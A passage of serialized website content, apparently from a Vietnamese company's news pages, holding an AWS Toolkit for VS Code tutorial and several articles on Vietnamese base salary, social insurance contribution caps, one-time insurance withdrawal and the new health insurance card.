chọn ",[20,2057,2058],{},"YES",[533,2060],{"className":2061,"alt":66,"src":2062,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090935\u002Faws9.png",[34,2064,2065,2066],{},"Bây giờ AWS toolkit đã kết nối với dịch vụ AWS của bạn. Giờ có thể bắt đầu chọn vùng làm việc (Region)",[533,2067],{"className":2068,"alt":66,"src":2069,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091018\u002Faws10.png",[657,2071,2073],{"id":2072},"chạy-ứng-dụng-sam-ở-localhost",[20,2074,2075],{},"Chạy ứng dụng SAM ở localhost",[11,2077,2078,64],{},[20,2079,2080],{},"Yêu cầu:",[31,2082,2083,2086,2089,2092],{},[34,2084,2085],{},"Cần có 1 tài khoản IAM với quyền adminstration.",[34,2087,2088],{},"Đã cài đặt và khởi động Docker.",[34,2090,2091],{},"Đã cài đặt AWS CLI và AWS SAM.",[34,2093,2094],{},"Đã có 1 bucket ở AWS S3.",[201,2096,2097,2104,2111,2118,2125,2132,2139],{},[34,2098,2099,2100],{},"Chọn Create new SAM Application.",[533,2101],{"className":2102,"alt":66,"src":2103,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091122\u002Fdebug1-1.png",[34,2105,2106,2107],{},"Chọn ngôn ngữ phát triển.",[533,2108],{"className":2109,"alt":66,"src":2110,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091146\u002Fdebug2-1.png",[34,2112,2113,2114],{},"Chọn folder để lưu cái project mới tạo.",[533,2115],{"className":2116,"alt":66,"src":2117,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091205\u002Fdebug3-1.png",[34,2119,2120,2121],{},"Nhập tên của project.",[533,2122],{"className":2123,"alt":66,"src":2124,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091220\u002Fdebug4.png",[34,2126,2127,2128],{},"Đây là cấu trúc 1 ứng dụng đơn giản của SAM.",[533,2129],{"className":2130,"alt":66,"src":2131,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091250\u002Fdebug6.png",[34,2133,2134,2135],{},"Chạy ứng dụng SAM dưới local bằng cách vào file app.js chọn Run Locally.",[533,2136],{"className":2137,"alt":66,"src":2138,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091313\u002Fdebug7.png",[34,2140,2141,2142],{},"Sau khi chạy, API sẽ trả về kết quả ở tab Output của hộp thoại command line của VSCode.",[533,2143],{"className":2144,"alt":66,"src":2145,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091324\u002Fdebug8-1024x525.png",[657,2147,2149],{"id":2148},"debug-ứng-dụng-sam-ở-localhost","Debug ứng dụng SAM ở localhost",[11,2151,2152,2153],{},"Chọn Debug Locally và gắn thêm point ở nơi cần show thông tin chi tiết.\n",[533,2154],{"className":2155,"alt":66,"src":2156,"style":2157},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091348\u002Fdebug9-1024x312.png","width: 95%;",[657,2159,2161],{"id":2160},"deploy-ứng-dụng-sam-lên-cloud","Deploy ứng dụng SAM lên cloud.",[201,2163,2164,2171,2178,2185,2192,2199],{},[34,2165,2166,2167],{},"Chọn Deploy SAM Application.",[533,2168],{"className":2169,"alt":66,"src":2170,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091409\u002Fdeploy1.png",[34,2172,2173,2174],{},"Chọn cái SAM template mà bạn cần deploy lên AWS.",[533,2175],{"className":2176,"alt":66,"src":2177,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091445\u002Fdeploy2.png",[34,2179,2180,2181],{},"Chọn khu vực AWS muốn deploy.",[533,2182],{"className":2183,"alt":66,"src":2184,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091457\u002Fdeploy3.png",[34,2186,2187,2188],{},"Điền tên bucket S3 (bucket này phải tồn tại thực tế trên S3).",[533,2189],{"className":2190,"alt":66,"src":2191,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091508\u002Fdeploy4.png",[34,2193,2194,2195],{},"Nhập tên cho stack sẽ deploy.",[533,2196],{"className":2197,"alt":66,"src":2198,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06094204\u002Fdeploy5.png",[34,2200,2201,2202],{},"Khi thành công, ở AWS Explorer.",[533,2203],{"className":2204,"alt":66,"src":2205,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091542\u002Fdeploy6.png",{"title":66,"searchDepth":67,"depth":67,"links":2207},[2208,2209,2210,2212,2213,2215,2216,2217,2218],{"id":1848,"depth":1417,"text":1851},{"id":1876,"depth":1417,"text":1879},{"id":1911,"depth":1417,"text":2211},"Cài đặt AWS Toolkit cho VSCode",{"id":1943,"depth":1417,"text":1946},{"id":1964,"depth":1417,"text":2214},"Thêm AWS Access Keys vào môi trường của bạn",{"id":2023,"depth":1417,"text":2026},{"id":2072,"depth":1417,"text":2075},{"id":2148,"depth":1417,"text":2149},{"id":2160,"depth":1417,"text":2161},"teck talk","2019-09-20","AWS Toolkit là gì ? Là 1 extension được tạo ra để giúp cho developer có thể dễ dàng quản lý, phát triển, debug ở local và deploy các ứng dụng serverless sử dụng dịch vụ Amazon Web Serice (AWS). Bạn có thể sử dụng AWS Toolkit for Visual Studio Code để: Phát triển ứng dụng serverless ở local, và sau đó deploy lên",{},"\u002Fvi\u002Fnews\u002Faws-toolkit-for-visual-studio-code",{"title":1843,"description":2221},"vi\u002Fnews\u002Faws-toolkit-for-visual-studio-code","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090408\u002Fawstoolkit_vscode-1.png","N1MVTat5lk7bStOUdmw__yaClDA7ioaZQfXJL-Sz2QY",{"id":2229,"title":2230,"body":2231,"category":69,"created by":70,"date":2345,"description":2346,"extension":72,"meta":2347,"navigation":74,"path":2348,"sections":76,"seo":2349,"stem":2350,"thumbnail":2351,"__hash__":2352},"content_vi\u002Fvi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018.md","[Bảo Hiểm] Thông báo điều chỉnh mức lương cơ sở từ tháng 07.2018",{"type":8,"value":2232,"toc":2343},[2233,2236,2239],[11,2234,2235],{},"Căn cứ Nghị định số 72\u002F2018\u002FNĐ-CP, kể từ ngày 01\u002F07\u002F2018 mức lương cơ sở sẽ chính thức được điều chỉnh tăng từ 1.300.000 đồng\u002F tháng lên 1.390.000 đồng\u002F tháng (tăng thêm 90.000 đồng\u002Ftháng).",[11,2237,2238],{},"Theo đó, với việc tăng lương cơ sở, mức trần đóng BHXH, BHYT và phụ cấp thai sản (ngoài 6 tháng được hưởng) như sau:",[371,2240,2241,2255],{},[374,2242,2243],{},[377,2244,2245,2250],{},[380,2246,2247],{},[20,2248,2249],{},"Mức trần đóng BHXH, BHYT (cũ)",[380,2251,2252],{},[20,2253,2254],{},"Mức trần đóng BHXH, BHYT (mới)",[396,2256,2257,2280,2303,2326],{},[377,2258,2259,2270],{},[401,2260,2261,2264,2266,2267,2269],{},[20,2262,2263],{},"1.300.000 x 20 = 26.000.000 vnđ",[570,2265],{},"Mức cao nhất: 26.000.000 vnđ",[570,2268],{},"(20 lần mức lương cơ sở)",[401,2271,2272,2275,2277,2278,2269],{},[20,2273,2274],{},"1.390.000 x 20 = 27.800.000 vnđ",[570,2276],{},"Mức cao nhất: 27.800.000 vnđ",[570,2279],{},[377,2281,2282,2293],{},[401,2283,2284,2287,2289,2290,2292],{},[20,2285,2286],{},"Công ty",[570,2288],{},"BHXH (17.5%): 26.000.000 x 17.5% = 4.550.000 vnđ",[570,2291],{},"BHYT (3%): 26.000.000 x 3% = 780.000 vnđ",[401,2294,2295,2297,2299,2300,2302],{},[20,2296,2286],{},[570,2298],{},"BHXH (17.5%): 27.800.000 x 17.5% = 4.865.000 vnđ",[570,2301],{},"BHYT (3%): 27.800.000 x 3% = 834.000 vnđ",[377,2304,2305,2316],{},[401,2306,2307,2310,2312,2313,2315],{},[20,2308,2309],{},"Nhân viên",[570,2311],{},"BHXH (8%): 26.000.000 x 8% = 2.080.000 vnđ",[570,2314],{},"BHYT (1.5%): 26.000.000 x 1.5% = 390.000 vnđ",[401,2317,2318,2320,2322,2323,2325],{},[20,2319,2309],{},[570,2321],{},"BHXH (8%): 27.800.000 x 8% = 2.224.000 vnđ",[570,2324],{},"BHYT (1.5%): 27.800.000 x 1.5% = 417.000 vnđ",[377,2327,2328,2336],{},[401,2329,2330,2333,2335],{},[20,2331,2332],{},"Thai sản (hỗ trợ 2 tháng)",[570,2334],{},"1.300.000 x 2 = 2.600.000 vnđ",[401,2337,2338,2340,2342],{},[20,2339,2332],{},[570,2341],{},"1.390.000 x 2 = 2.780.000 vnđ",{"title":66,"searchDepth":67,"depth":67,"links":2344},[],"2018-07-17","Căn cứ Nghị định số 72\u002F2018\u002FNĐ-CP, kể từ ngày 01\u002F07\u002F2018 mức lương cơ sở sẽ chính thức được điều chỉnh tăng từ 1.300.000 đồng\u002F tháng lên 1.390.000 đồng\u002F tháng (tăng thêm 90.000 đồng\u002Ftháng). Theo đó, với việc tăng lương cơ sở, mức trần đóng BHXH, BHYT và phụ cấp thai sản (ngoài 6 tháng được hưởng) như sau: Mức trần đóng BHXH, BHYT (cũ) Mức",{},"\u002Fvi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018",{"title":2230,"description":2346},"vi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2018\u002F07\u002F05095906\u002F17121703798_c3be57bae8_b.jpg","LBgVUEcVhnLq1QMB5fJmcg0Uk46qtLZr30QqzSru5jY",{"id":2354,"title":2355,"body":2356,"category":69,"created by":70,"date":2466,"description":2467,"extension":72,"meta":2468,"navigation":74,"path":2469,"sections":76,"seo":2470,"stem":2471,"thumbnail":2472,"__hash__":2473},"content_vi\u002Fvi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020.md","[Bảo Hiểm] Thông báo điều chỉnh mức lương cơ sở từ tháng 07.2020",{"type":8,"value":2357,"toc":2464},[2358,2361,2363],[11,2359,2360],{},"Căn cứ Nghị quyết số 86\u002F2019\u002FQH14, kể từ ngày 01\u002F07\u002F2020 mức lương cơ sở sẽ chính thức được điều chỉnh tăng từ 1.490.000 đồng\u002F tháng lên 1.600.000 đồng\u002F tháng (tăng thêm 110.000 đồng\u002Ftháng).",[11,2362,2238],{},[371,2364,2365,2377],{},[374,2366,2367],{},[377,2368,2369,2373],{},[380,2370,2371],{},[20,2372,2249],{},[380,2374,2375],{},[20,2376,2254],{},[396,2378,2379,2401,2424,2447],{},[377,2380,2381,2391],{},[401,2382,2383,2386,2388,2389,2269],{},[20,2384,2385],{},"1.490.000 x 20 = 29.800.000 vnđ",[570,2387],{},"Mức đóng cao nhất bằng 29.800.000 vnđ",[570,2390],{},[401,2392,2393,2396,2398,2399,2269],{},[20,2394,2395],{},"1.600.000 x 20 = 32.000.000 vnđ",[570,2397],{},"Mức đóng cao nhất bằng 32.000.000 vnđ",[570,2400],{},[377,2402,2403,2414],{},[401,2404,2405,2408,2410,2411,2413],{},[20,2406,2407],{},"Công ty:",[570,2409],{},"BHXH (17.5%): 29.800.000 x 17.5% = 5.215.000 vnđ",[570,2412],{},"BHYT (3%): 29.800.000 x 3% = 894.000 vnđ",[401,2415,2416,2418,2420,2421,2423],{},[20,2417,2407],{},[570,2419],{},"BHXH (17.5%): 32.000.000 x 17.5% = 5.600.000 vnđ",[570,2422],{},"BHYT (3%): 32.000.000 x 3% = 960.000 vnđ",[377,2425,2426,2437],{},[401,2427,2428,2431,2433,2434,2436],{},[20,2429,2430],{},"Người lao động:",[570,2432],{},"BHXH (8%): 29.800.000 x 8% = 2.384.000 vnđ",[570,2435],{},"BHYT (1.5%): 29.800.000 x 1.5% = 447.000 vnđ",[401,2438,2439,2441,2443,2444,2446],{},[20,2440,2430],{},[570,2442],{},"BHXH (8%): 32.000.000 x 8% = 2.560.000 vnđ",[570,2445],{},"BHYT (1.5%): 32.000.000 x 1.5% = 480.000 vnđ",[377,2448,2449,2457],{},[401,2450,2451,2454,2456],{},[20,2452,2453],{},"Thai sản: 2 tháng hỗ trợ",[570,2455],{},"1.490.000 x 2 = 2.980.000 vnđ",[401,2458,2459,2461,2463],{},[20,2460,2453],{},[570,2462],{},"1.600.000 x 2 = 3.200.000 vnđ",{"title":66,"searchDepth":67,"depth":67,"links":2465},[],"2020-01-15","Căn cứ Nghị quyết số 86\u002F2019\u002FQH14, kể từ ngày 01\u002F07\u002F2020 mức lương cơ sở sẽ chính thức được điều chỉnh tăng từ 1.490.000 đồng\u002F tháng lên 1.600.000 đồng\u002F tháng (tăng thêm 110.000 đồng\u002Ftháng). Theo đó, với việc tăng lương cơ sở, mức trần đóng BHXH, BHYT và phụ cấp thai sản (ngoài 6 tháng được hưởng) như sau: Mức trần đóng BHXH, BHYT (cũ) Mức",{},"\u002Fvi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020",{"title":2355,"description":2467},"vi\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fluong_co_so.png","75xpRX53-zft8WQbOLzLP8hzcIxHd174plgHqzfc-LE",{"id":2475,"title":2476,"body":2477,"category":69,"created by":70,"date":2543,"description":2481,"extension":72,"meta":2544,"navigation":74,"path":2545,"sections":76,"seo":2546,"stem":2547,"thumbnail":2548,"__hash__":2549},"content_vi\u002Fvi\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong.md","BẢO HIỂM XÃ HỘI MỘT LẦN:  NGƯỜI LAO ĐỘNG CÓ THỂ NHẬN NHIỀU LẦN KHÔNG?",{"type":8,"value":2478,"toc":2541},[2479,2482,2485,2488,2491,2494,2508,2511,2514,2518],[11,2480,2481],{},"Hiện nay, ảnh hưởng từ đại dịch Covid-19 đã tác động tiêu cực đến toàn xã hội, trong đó có tình trạng người lao động (NLĐ) mất việc hàng loạt. Khi nguồn thu nhập ổn định hàng tháng bị mất đi, đã có nhiều người lựa chọn đến việc nhận trợ cấp Bảo hiểm xã hội (BHXH) một lần.",[11,2483,2484],{},"Vậy, trong trường hợp NLĐ nghỉ việc và hưởng chế độ BHXH một lần, khi qua công ty mới và đóng BHXH lại từ đầu, liệu NLĐ có còn được nhận trợ cấp BHXH một lần nữa hay không?",[11,2486,2487],{},"Theo khoản 1, Điều 1, Nghị quyết 93\u002F2015\u002FQH13 quy định về việc thực hiện chính sách hưởng BHXH một lần đối với người lao động như sau:",[11,2489,2490],{},"“Trường hợp NLĐ tham gia BHXH bắt buộc sau một năm nghỉ việc, người tham gia BHXH tự nguyện sau một năm không tiếp tục đóng BHXH mà chưa đủ 20 năm đóng BHXH khi có yêu cầu thì được nhận BHXH một lần”.",[11,2492,2493],{},"Ngoài ra, theo khoản 1, Điều 8, Nghị định 115\u002F2015\u002FNĐ-CP quy định NLĐ mà có yêu cầu thì được hưởng BHXH một lần nếu thuộc một trong các trường hợp sau đây:",[31,2495,2496,2499,2502,2505],{},[34,2497,2498],{},"Đủ tuổi hưởng lương hưu theo quy định tại các Khoản 1, 2 và 4, Điều 54 của Luật BHXH mà chưa đủ 20 năm đóng BHXH hoặc theo quy định tại Khoản 3, Điều 54 của Luật BHXH mà chưa đủ 15 năm đóng BHXH và không tiếp tục tham gia BHXH tự nguyện;",[34,2500,2501],{},"Sau một năm nghỉ việc mà chưa đủ 20 năm đóng BHXH và không tiếp tục đóng BHXH;",[34,2503,2504],{},"Ra nước ngoài để định cư;",[34,2506,2507],{},"Người đang bị mắc một trong những bệnh nguy hiểm đến tính mạng như ung thư, bại liệt, xơ gan cổ chướng, phong, lao nặng, nhiễm HIV đã chuyển sang giai đoạn AIDS và những bệnh khác theo quy định của Bộ Y tế.",[11,2509,2510],{},"Như vậy, hiện nay pháp luật không quy định cụ thể về số lần rút BHXH một lần khi đủ điều kiện hưởng. Do đó, nếu NLĐ đã đáp ứng đủ điều kiện theo quy định của pháp luật nêu trên, thì có thể rút BHXH một lần bất kể thời điểm nào.",[11,2512,2513],{},"Tuy nhiên, việc nhận BHXH một lần sẽ đem đến nhiều thiệt thòi cho NLĐ, vì lợi ích trước mắt mà NLĐ sẽ bỏ lỡ cơ hội được hưởng lương hưu để trang trải cuộc sống, cũng như được hưởng chế độ BHYT để chăm sóc sức khỏe khi về già.",[11,2515,2516],{},[20,2517,55],{},[201,2519,2520,2527,2534],{},[34,2521,2522],{},[58,2523,2526],{"href":2524,"rel":2525},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-quyet-93-2015-QH13-thuc-hien-chinh-sach-huong-bao-hiem-xa-hoi-mot-lan-doi-voi-nguoi-lao-dong-282360.aspx?tab=7",[62],"Nghị quyết 93\u002F2015\u002FQH13",[34,2528,2529],{},[58,2530,2533],{"href":2531,"rel":2532},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-115-2015-ND-CP-huong-dan-Luat-bao-hiem-xa-hoi-bat-buoc-279974.aspx",[62],"Nghị định 115\u002F2015\u002FNĐ-CP",[34,2535,2536],{},[58,2537,2540],{"href":2538,"rel":2539},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FLuat-Bao-hiem-xa-hoi-2014-259700.aspx",[62],"Luật Bảo hiểm xã hội",{"title":66,"searchDepth":67,"depth":67,"links":2542},[],"2021-08-09",{},"\u002Fvi\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong",{"title":2476,"description":2481},"vi\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F07\u002F20131502\u002FBHXHMotLanCoTheNhanNhieuLanKhong.png","j5FtViajiT6nru1L9l1lodQvoht7GAc6hO6eve5Krrc",{"id":2551,"title":2552,"body":2553,"category":69,"created by":70,"date":2645,"description":2557,"extension":72,"meta":2646,"navigation":74,"path":2647,"sections":76,"seo":2648,"stem":2649,"thumbnail":2650,"__hash__":2651},"content_vi\u002Fvi\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi.md","BHXH VIỆT NAM BAN HÀNH MẪU THẺ BHYT MỚI",{"type":8,"value":2554,"toc":2643},[2555,2558,2562,2571,2576,2579,2608,2612,2616,2621,2629,2632,2636],[11,2556,2557],{},"Ngày 03\u002F12\u002F2020, Tổng Giám đốc BHXH Việt Nam đã ký ban hành Quyết định số 1666\u002FQĐ-BHXH về việc ban hành mẫu thẻ BHYT để sử dụng thống nhất trong phạm vi cả nước. Quyết định này có hiệu lực thi hành từ ngày 01\u002F04\u002F2021.",[533,2559],{"className":2560,"alt":66,"src":2561,"style":604},[536,537],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-tr%C6%B0%E1%BB%9Bc-300x194.png",[11,2563,2570],{"className":2564},[2565,2566,2567,2568,2569],"text-center","text-sm","text-black","italic","-mt-2","\n  Mặt trước mẫu thẻ BHYT mới\n",[11,2572,2573],{},[20,2574,2575],{},"1. Thêm nhiều tiện ích",[11,2577,2578],{},"So với mẫu thẻ BHYT hiện hành, mẫu thẻ BHYT mới có nhiều điểm khác biệt mang lại nhiều tiện ích với người tham gia, cụ thể như:",[31,2580,2581,2584,2587,2590,2602,2605],{},[34,2582,2583],{},"Kích thước thẻ BHYT nhỏ gọn hơn, hình thức đẹp hơn (kích thước bằng với thẻ căn cước công dân và một số loại thẻ ATM của các ngân hàng hiện nay) thuận tiện khi cất giữ, bảo quản trong ví.",[34,2585,2586],{},"Định lượng giấy của thẻ dày hơn và được ép nhựa plastic: giúp tăng độ bền, độ cứng của thẻ, đáp ứng được yêu cầu bảo quản lâu dài, tránh thấm nước, ẩm mốc, nhàu nát, rách, bay mờ mực in trong quá trình sử dụng.",[34,2588,2589],{},"Thay đổi kiểu chữ in rõ nét, dễ đọc, dễ kiểm tra, hạn chế được sai sót thông tin in trên thẻ.",[34,2591,2592,2593,2597,2598,1780],{},"Mã số thẻ BHYT mới là 10 ký tự mã số BHXH của người tham gia (thay thế 15 ký tự mã số thẻ BHYT hiện nay). Mục đích: giảm bớt số lượng ký tự người tham gia cần khai báo khi tra cứu trên Cổng Thông tin điện tử BHXH Việt Nam (",[58,2594,2595],{"href":2595,"rel":2596},"http:\u002F\u002Fbaohiemxahoi.gov.vn",[62],") hoặc khai báo khi làm thủ tục trên Cổng dịch vụ công của BHXH Việt Nam (",[58,2599,2600],{"href":2600,"rel":2601},"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn",[62],[34,2603,2604],{},"Mẫu thẻ mới dùng dấu phiên hiệu của BHXH Việt Nam và in chữ ký quét của Trưởng ban Quản lý Thu - Sổ, Thẻ (hoặc người đứng đầu đơn vị thuộc BHXH được Tổng Giám đốc BHXH Việt Nam giao ký thừa lệnh) giúp cho người tham gia có thể thuận tiện làm thủ tục cấp lại, đổi thẻ do bị mất, hỏng thẻ ở bất cứ cơ quan BHXH nào trên phạm vi toàn quốc.",[34,2606,2607],{},"Mặt sau mẫu thẻ mới có bổ sung chỉ dẫn sử dụng thẻ BHYT cụ thể hơn, giúp người tham gia biết cách tra cứu thông tin về thẻ BHYT và quyền lợi được hưởng. Nắm được cách thức liên hệ với cơ quan BHXH để được hướng dẫn và giải đáp mọi khó khăn vướng mắc liên quan đến thẻ và việc sử dụng thẻ.",[533,2609],{"className":2610,"alt":66,"src":2611,"style":604},[536,537],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-sau-300x193.png",[11,2613,2615],{"className":2614},[2565,2566,2567,2568,2569],"\n  Mặt sau mẫu thẻ BHYT mới\n",[11,2617,2618],{},[20,2619,2620],{},"2. Thẻ BHYT hiện hành còn thời hạn sử dụng, tiếp tục được dùng để KCB",[31,2622,2623,2626],{},[34,2624,2625],{},"Thẻ BHYT đã cấp cho người tham gia BHYT còn thời hạn sử dụng thì vẫn tiếp tục được dùng để KCB BHYT.",[34,2627,2628],{},"Ngoài mã mức hưởng và mã nơi đối tượng sinh sống vẫn được in trên thẻ BHYT mẫu mới, từ ngày 01\u002F04\u002F2021, khi thực hiện tra cứu trên Cổng tiếp nhận dữ liệu Hệ thống Thông tin giám định BHYT và Cổng Thông tin điện tử BHXH Việt Nam, người lao động có thể biết thêm được các thông tin sau: -> Các thông tin quản lý khác như: mã đối tượng đóng BHYT, địa chỉ cư trú,… của người tham gia.",[11,2630,2631],{},"➜ Thời gian được miễn cùng chi trả trong phạm vi quyền lợi BHYT khi đi KCB đúng tuyến (khi người tham gia đã được cơ quan BHXH xác định đã có đủ 05 năm tham gia BHYT liên tục và có số tiền cùng chi trả chi phí KCB trong năm lớn hơn 6 tháng lương cơ sở).",[11,2633,2634,64],{},[20,2635,55],{},[11,2637,2638],{},[58,2639,2642],{"href":2640,"rel":2641},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FQuyet-dinh-1666-QD-BHXH-2020-mau-the-bao-hiem-y-te-458650.aspx",[62],"Quyết định Ban hành mẫu thẻ bảo hiểm y tế",{"title":66,"searchDepth":67,"depth":67,"links":2644},[],"2021-03-05",{},"\u002Fvi\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi",{"title":2552,"description":2557},"vi\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F15143126\u002FBNXHVN-ban-h%C3%A0nh-m%E1%BA%ABu-th%E1%BA%BB-BHYT-m%E1%BB%9Bi.png","aCaY2OYeLzUVGYnqK9OxdsZEd0I9unizHG7wX571uD0",{"id":2653,"title":2654,"body":2655,"category":69,"created by":70,"date":2723,"description":2724,"extension":72,"meta":2725,"navigation":74,"path":2726,"sections":76,"seo":2727,"stem":2728,"thumbnail":2729,"__hash__":2730},"content_vi\u002Fvi\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan.md","BỊ NHIỄM COVID-19, NGƯỜI LAO ĐỘNG CÓ ĐƯỢC NHẬN BẢO HIỂM XÃ HỘI 1 LẦN?",{"type":8,"value":2656,"toc":2721},[2657,2662,2667,2670,2691,2697,2700,2704,2712],[11,2658,2659],{},[20,2660,2661],{},"Trong mùa đại dịch, hiện tại dịch bệnh Covid-19 đang diễn biến khá phức tạp, chắc hẳn có rất nhiều người lao động (NLĐ) đặt ra câu hỏi “nếu NLĐ không may bị nhiễm Covid-19 buộc nghỉ việc để cách ly, chữa trị và không thể tiếp tục làm việc thì NLĐ có thể xin nhận Bảo Hiểm Xã Hội (BHXH) 1 lần hay không?\"",[11,2663,2664],{},[20,2665,2666],{},"Nhận thấy vấn đề đặt biệt quan tâm từ NLĐ, Bảo Hiểm Xã Hội Việt Nam đã có câu trả lời thỏa đáng như sau:",[11,2668,2669],{},"Căn cứ theo điểm c Khoản 1 Điều 60 Luật Bảo hiểm xã hội 2014 và Điều 4 Thông tư 56\u002F2017\u002FTT-BYT quy định các bệnh được hưởng chế độ BHXH 1 lần bao gồm:",[855,2671,2673,2676,2679,2682,2685,2688],{"style":2672},"padding-left: 30px",[11,2674,2675],{},"1. Ung thư;",[11,2677,2678],{},"2. Bại liệt;",[11,2680,2681],{},"3. Xơ gan cổ chướng;",[11,2683,2684],{},"4. Phong, lao nặng;",[11,2686,2687],{},"5. Nhiễm HIV đã chuyển sang giai đoạn AIDS đồng thời không tự kiểm soát hoặc không tự thực hiện được các hoạt động đi lại, mặc quần áo, vệ sinh cá nhân và những việc khác phục vụ nhu cầu sinh hoạt cá nhân hàng ngày mà cần có người theo dõi, trợ giúp, chăm sóc hoàn toàn;",[11,2689,2690],{},"6. Các bệnh, tật khác ngoài các bệnh quy định trên có mức suy giảm khả năng lao động hoặc mức độ khuyết tật từ 81% trở lên và không tự kiểm soát hoặc không tự thực hiện được các hoạt động đi lại, mặc quần áo, vệ sinh cá nhân và những việc khác phục vụ nhu cầu sinh hoạt cá nhân hằng ngày mà cần có người theo dõi, trợ giúp, chăm sóc hoàn toàn.",[11,2692,2693,2694,974],{},"Như vậy, căn cứ theo quy định tại mục (6), Người lao động nếu nhiễm Covid-19 mà dẫn đến suy giảm khả năng lao động từ 81% trở lên, không tự kiểm soát hoặc không tự thực hiện được các hoạt động đi lại, mặc quần áo, vệ sinh cá nhân và những việc khác phục vụ nhu cầu sinh hoạt cá nhân hằng ngày mà cần có người theo dõi, trợ giúp, chăm sóc hoàn toàn thì ",[20,2695,2696],{},"được hưởng chế độ Bảo Hiểm Xã Hội 1 lần",[11,2698,2699],{},"Đối với trường hợp này, Người lao động cần có Biên Bản Giám Định mức suy giảm khả năng lao động của Hội đồng giám định y khoa thể hiện tình trạng suy giảm khả năng lao động từ 81% trở lên và không tự phục vụ 